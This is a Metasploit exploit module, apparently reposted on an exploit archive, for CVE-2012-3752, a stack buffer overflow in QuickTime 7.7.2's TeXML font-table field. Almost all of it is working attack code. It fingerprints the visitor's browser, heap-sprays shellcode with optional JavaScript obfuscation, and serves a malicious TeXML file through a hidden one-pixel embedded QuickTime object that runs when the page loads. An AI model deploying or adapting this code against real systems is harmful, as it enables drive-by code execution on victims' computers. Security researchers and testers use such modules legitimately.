Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow



EKU-ID: 2814 CVE: 2012-3752 OSVDB-ID: 87087
Author: juan vazquez Published: 2012-11-26 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank       => NormalRanking
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability found in Apple QuickTime. When handling
    a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
    gain arbitrary code execution under the context of the user.  This is due to the
    QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
    font-table field, which is used to trigger the overflow in this module. Because of
    QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
    used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
    has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
   },
   'Author'         =>
    [
     'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
     'juan vazquez' # Metasploit Module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'OSVDB', '87087' ],
     [ 'CVE', '2012-3752' ],
     [ 'BID', '56557' ],
     [ 'URL', 'http://support.apple.com/kb/HT5581' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space' => 1000,
    },
   'Platform' => 'win',

   'Targets'  =>
    [
     # Tested with QuickTime 7.7.2
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', {} ],
     [ 'Firefox 3.5 on Windows XP SP3', {} ],
     [ 'Firefox 3.5.1 on Windows XP SP3', {} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 07 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
   ], self.class)
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

  browser_name = ""
  if agent =~ /MSIE/
   browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
   browser_name = "IE #{browser_version}"
  elsif agent =~ /Firefox\/3.5$/
   browser_name = "Firefox 3.5 "
  elsif agent =~ /Firefox\/3.5.1$/
   browser_name = "Firefox 3.5.1"
  elsif agent =~ /Opera\/9/
   browser_name = "Opera"
  end

  case nt
   when '5.1'
    os_name = 'Windows XP SP3'
   when '6.0'
    os_name = 'Windows Vista'
   when '6.1'
    os_name = 'Windows 7'
  end

  targets.each do |t|
   if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end


 def on_request_uri(client, request)

  return if ((p = regenerate_payload(client)) == nil)

  agent = request.headers['User-Agent']
  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
   print_error("Browser not supported, sending 404: #{agent}")
   send_not_found(cli)
   return
  end

  if request.uri =~ /\.3gp/
   print_status("Sending exploit TEXML (target: #{my_target.name})")

   my_payload = "1" * (1024*16)

   texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
 language="eng" timeScale="600"
 transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
 <sample duration="2400" keyframe="true">

  <description format="tx3g" displayFlags="ScrollIn"
   horizontalJustification="Left"
   verticalJustification="Top"
   backgroundColor="0%, 0%, 0%, 100%">

   <defaultTextBox x="0" y="0" width="176"  height="60"/>
   <fontTable>
    <font id="1" name="Times"/>
   </fontTable>

   <sharedStyles>
   <style id="1">
    {font-table: #{my_payload}}
    {font-style:normal}
    {font-weight: normal}
    {font-size:  10}
    {line-height: 100%}
    {text-align: right}
    {text-decoration: underline}
    {color: 100%, 100%, 100%, 100%}
    {backgroundcolor: 100%, 100%, 100%, 100%}
   </style>
   </sharedStyles>
  </description>

  <sampleData scrollDelay="200"
   highlightColor="25%, 45%, 65%, 100%"
   targetEncoding="utf8">

   <textBox x="10" y="10" width="156"  height="40"/>
    <text styleID="1">What you need... Metasploit!</text>
    <highlight startMarker="1" endMarker="2"/>
    <blink startMarker="3" endMarker="4"/>
  </sampleData>
 </sample>
</text3GTrack>
   eos

   send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })

  else
   print_status("Sending initial HTML")

   url =  ((datastore['SSL']) ? "https://" : "http://")
   url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
   url << ":" + datastore['SRVPORT'].to_s
   url << get_resource

   fname = rand_text_alphanumeric(4)

   #ARCH used by the victim machine
   arch = Rex::Arch.endian(my_target.arch)
   nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
   code = Rex::Text.to_unescape(payload.encoded, arch)

   # Spray puts payload on 0x31313131
   if my_target.name =~ /IE/
    spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x800 - code.length);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 1600; i++) {
 heap_obj.alloc(block);
}
    JS

    #Use heaplib
    js_spray = heaplib(spray)

    #obfuscate on demand
    if datastore['OBFUSCATE']
     js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
     js_spray.obfuscate
    end
   else
    js_spray = <<-JS
var shellcode = unescape("#{code}");
var bigblock = unescape("#{nops}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
    JS
   end

   content =  "<html>"
   content << <<-JSPRAY
<head>
<script>
#{js_spray}
</script>
</head>
   JSPRAY
   content << "<body>"

   content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.3gp">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.3gp">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
 SRC        = "#{url}/#{fname}.3gp"
 QTSRC      = "#{url}/#{fname}.3gp"
 TARGET     = "myself"
 WIDTH      = "1"
 HEIGHT     = "1"
 AUTOPLAY   = "true"
 PLUGIN     = "quicktimeplugin"
 TYPE       = "video/quicktime"
 CACHE      = "false"
 PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
    ENDEMBED

   content << "</body></html>"

   send_response(client, content, { 'Content-Type' => "text/html" })
  end
 end

end


=begin
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)

int __fastcall sub_67EED2B0(int a1, int a2)
{
  int result; // eax@1
  unsigned __int8 v3; // cl@2

  for ( result = 0; ; ++result )
  {
    v3 = *(_BYTE *)a2++ - 0x30;
    if ( v3 > 9u )
      break;
  }
  return result;
}
=end